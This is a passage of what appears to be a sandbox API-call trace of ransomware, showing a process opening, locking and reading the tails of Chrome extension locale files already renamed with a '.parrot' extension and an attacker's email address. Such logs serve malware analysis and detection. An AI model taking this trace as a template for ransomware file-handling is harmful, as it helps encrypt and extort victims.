lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.495] CloseHandle (hObject=0x23c) returned 1 [0094.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.495] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x268 [0094.495] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x380, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.495] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.495] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.496] CloseHandle (hObject=0x23c) returned 1 [0094.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.496] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.497] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.497] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.497] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.497] CloseHandle (hObject=0x23c) returned 1 [0094.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.498] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.498] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.498] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.498] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.499] CloseHandle (hObject=0x23c) returned 1 [0094.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.499] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.499] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.499] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.499] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.500] CloseHandle (hObject=0x23c) returned 1 [0094.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.500] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.500] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.500] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.500] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.501] CloseHandle (hObject=0x23c) returned 1 [0094.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.501] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.501] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.502] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.502] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.502] CloseHandle (hObject=0x23c) returned 1 [0094.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.503] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.503] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.503] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.503] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.504] CloseHandle (hObject=0x23c) returned 1 [0094.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.504] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.504] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.504] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.504] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.505] CloseHandle (hObject=0x23c) returned 1 [0094.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.505] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.505] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.506] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.506] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.507] CloseHandle (hObject=0x23c) returned 1 [0094.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.507] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.507] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.507] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.507] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.508] CloseHandle (hObject=0x23c) returned 1 [0094.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.508] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.509] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.509] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.509] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.509] CloseHandle (hObject=0x23c) returned 1 [0094.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.510] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x278 [0094.510] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x390, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.510] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.510] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.511] CloseHandle (hObject=0x23c) returned 1 [0094.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.511] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.511] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.511] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.511] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.512] CloseHandle (hObject=0x23c) returned 1 [0094.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.512] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.512] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.512] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.512] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.513] CloseHandle (hObject=0x23c) returned 1 [0094.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.513] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.514] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.514] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.514] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.514] CloseHandle (hObject=0x23c) returned 1 [0094.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.515] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.515] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.515] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.515] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.516] CloseHandle (hObject=0x23c) returned 1 [0094.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.516] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x248 [0094.516] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x360, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.516] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.516] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.517] CloseHandle (hObject=0x23c) returned 1 [0094.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.518] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.518] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.518] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.518] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.518] CloseHandle (hObject=0x23c) returned 1 [0094.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.519] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: 